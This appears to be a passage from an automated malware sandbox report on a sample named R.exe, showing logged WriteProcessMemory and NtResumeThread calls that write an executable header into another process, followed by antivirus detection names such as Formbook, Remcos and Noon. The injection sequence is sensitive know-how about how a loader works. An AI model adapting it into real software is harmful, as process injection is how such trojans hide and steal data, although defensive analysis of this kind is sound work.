WriteProcessMemory June 28, 2023, 7:36 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $±lÁõ}õ}õ}Ò»Íö}Ò»Ïô}Ò»Îô}Richõ}PELZ,î?àØàð@ð@.text´ÖØ ` base_address: 0x0000000000400000 process_identifier: 2652 process_handle: 0x000000000000021c	1	1
WriteProcessMemory June 28, 2023, 7:36 a.m.	buffer: base_address: 0x0000000000401000 process_identifier: 2652 process_handle: 0x000000000000021c	1	1
WriteProcessMemory June 28, 2023, 7:36 a.m.	buffer: @ base_address: 0x000000007efde008 process_identifier: 2652 process_handle: 0x000000000000021c	1	1
NtResumeThread June 28, 2023, 7:36 a.m.	thread_handle: 0x0000000000000164 suspend_count: 1 process_identifier: 2652	1	0

File has been identified by 52 AntiVirus engines on VirusTotal as malicious (50 out of 52 events)

Lionic	Trojan.Win32.Noon.4!c
MicroWorld-eScan	Trojan.GenericKD.67402974
FireEye	Trojan.GenericKD.67402974
ALYac	Trojan.GenericKD.67402974
Cylance	unsafe
Sangfor	Suspicious.Win32.Save.a
K7AntiVirus	Trojan ( 005982e51 )
Alibaba	TrojanSpy:MSIL/Kryptik.3e5ccf20
K7GW	Trojan ( 005982e51 )
CrowdStrike	win/malicious_confidence_100% (W)
Arcabit	Trojan.Generic.D4047CDE
VirIT	Trojan.Win64.Genus.XI
Cyren	W64/MSIL_Agent.FNG.gen!Eldorado
Symantec	Trojan Horse
Elastic	malicious (high confidence)
ESET-NOD32	a variant of MSIL/Kryptik.AGKT
Cynet	Malicious (score: 100)
APEX	Malicious
Kaspersky	HEUR:Trojan-Spy.MSIL.Noon.gen
BitDefender	Trojan.GenericKD.67402974
Avast	Win64:PWSX-gen [Trj]
Tencent	Malware.Win32.Gencirc.13cb7305
Emsisoft	Trojan.GenericKD.67402974 (B)
F-Secure	Heuristic.HEUR/AGEN.1326434
DrWeb	Trojan.InjectNET.14
VIPRE	Trojan.GenericKD.67402974
TrendMicro	TROJ_GEN.R002C0XF823
McAfee-GW-Edition	BehavesLike.Win64.Qakbot.fc
Sophos	Mal/Generic-S
SentinelOne	Static AI - Malicious PE
Webroot	W32.Trojan.Gen
Avira	HEUR/AGEN.1326434
Antiy-AVL	Trojan/MSIL.Kryptik
Gridinsoft	Trojan.Heur!.031122C3
Microsoft	Trojan:Win32/Formbook.RG!MTB
ZoneAlarm	HEUR:Trojan-Spy.MSIL.Noon.gen
GData	Trojan.GenericKD.67402974
Google	Detected
AhnLab-V3	Malware/Win.Generic.C5437848
Acronis	suspicious
McAfee	Artemis!5BA4BAB377C6
MAX	malware (ai score=83)
VBA32	TrojanSpy.MSIL.Noon
Malwarebytes	Backdoor.Remcos
Panda	Trj/Chgt.AD
TrendMicro-HouseCall	TROJ_GEN.R002C0XF823
Rising	Malware.Obfus/MSIL@AI.100 (RDM.MSIL2:7czw1E1ql2//tkWVGNsQ2w)
Ikarus	Trojan-Spy.DarkCloud
MaxSecure	Trojan.Malware.73691310.susgen
Fortinet	MSIL/Kryptik.AGKT!tr

R.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All